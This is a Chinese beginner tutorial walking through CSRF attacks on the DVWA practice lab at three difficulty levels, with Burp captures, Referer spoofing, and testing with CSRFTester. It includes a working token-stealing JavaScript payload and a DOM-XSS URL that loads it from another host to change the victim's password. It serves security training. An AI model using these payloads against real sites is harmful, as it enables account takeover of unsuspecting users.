1
新手学习系列篇
从今天起我会持续更新新手学习系列教学,逐步完善对于新手入门学习与理解各种基础技术的应用与实战,初学者可以多关注哦!
本章将针对DVWA靶场中的CSRF漏洞进行讲解,帮助大家快速从实战中理解什么是CSRF。
靶场地址可以访问www.wangehacker.cn中找到社团资源,找到对应的靶场,也可自行本地搭建。(网上搜DVWA靶场搭建会有很多)
任务一、基于DVWA的low级别实现CSRF攻击
首先我们运行靶场来准备实验,难度级别调制low
然后选择csrf关卡
提交一下数据我们使用burp来抓个包
这里是我们提交的数据
GET /DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
然后我们将中间提交的语句进行拼接,和url地址拼接
http://192.168.0.107/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
我们访问这个地址就可以修改密码了
任务二、基于DVWA的 Medium级别实现CSRF攻击
我们先修改一下等级
然后我们还是回到csrf中进行实验
分析这个安全等级的源码,会判断数据包referer是否一致
这里我们先截取一下正常提交修改页面的Referer的值
比如我们利用一个钓鱼网站发出的请求,我们就需要修改这个钓鱼网站的请求数据,也就是其中的referer后面的值
我先在kali中简单构造一个页面来发出链接
这里我简单构造了一个
点击这个链接就会发送任务一中的构造的修改密码的链接
但是这里因为换了安全等级,所以原先的方式已经无法修改密码了
我们先登录原来的站点来抓取一下Referer头
将这里的复制下来
http://192.168.0.107/DVWA-master/vulnerabilities/csrf/
然后将这个包丢弃掉
我们回到我们的假冒站点中去
提交的时候抓包截取
然后将我们之前拿到的原网站得到的Referer内容复制上去发送
点击发送
这里直接修改成功了
第二个方式就是我们修改一下目录结构来满足Referer的要求
首先新建一个文件夹命名为原网站url地址,然后将文件放进去
然后我们修改文件权限
chown www-data:www-data 192.168.0.107 -R
修改referer策略
手工指定策略
<meta name="referrer" content="no-referrer-when-downgrade">
修改完成,我们再打开假冒页面进行访问发送
抓包看一下
任务三、基于DVWA的High级别实现CSRF攻击
首先修改安全级别
分析源码,这里要求我们提交时候有一个token的验证,这个验证无法绕过,只能通过xss的方式盗取
我们先进行一个xss的漏洞利用
这里可以看到设置了白名单,只能使用白名单中的字符
思路就是使用#,#后的字符不会被发送到服务器,会在本地直接执行
我们来构造一个js文件来进行csrf攻击
//弹出 cookie
alert(document.cookie);
//定义 AJAX 加载的页面
var theUrl = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/';
//匹配浏览器
if (window.XMLHttpRequest){
// IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}else{
// IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}var count = 0;
//页面加载完成后执行函数
xmlhttp.onreadystatechange=function(){
//判断请求已完成并且响应就绪状态码为 200 时执行代码
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{//页面内容存储到 text 中进行匹配 token
var text = xmlhttp.responseText;
var regex = /user_token' value='(.*?)' />/;
var match = text.match(regex);
console.log(match);
//弹出 token
alert(match[1]);
var token = match[1];
//定义 payload url 并绑定 token 为我们从页面匹配到的 token 并且定义新的密码,新密码是
admin
var new_url = 'http://192.168.1.63/DVWAmaster/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&pass
word_conf=admin&Change=Change'
//GET 方式提交一次 new_url
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
} }
};
//GET 方式提交 theUrl
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
然后构建payload
192.168.0.107/DVWA-master/vulnerabilities/xss_d/?default=English#<script src="http://192.168.0.106/csrf.js"></script>
任务四、使用CSRFTester进行自动化探测CSRF漏洞
我们直接打开软件,需要一个Java环境
设置一下浏览器代理
然后使用,打开软件监听
然后我们对靶场进行操作,输入
这时软件会记录
修改一下
生成html页面
去掉勾,生成
打开文件中的页面
保留下面的我们提交的内容
还有一些多余的删掉
打开文件,然后访问到这个页面发现添加了成功
可以判定没有csrf过滤
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...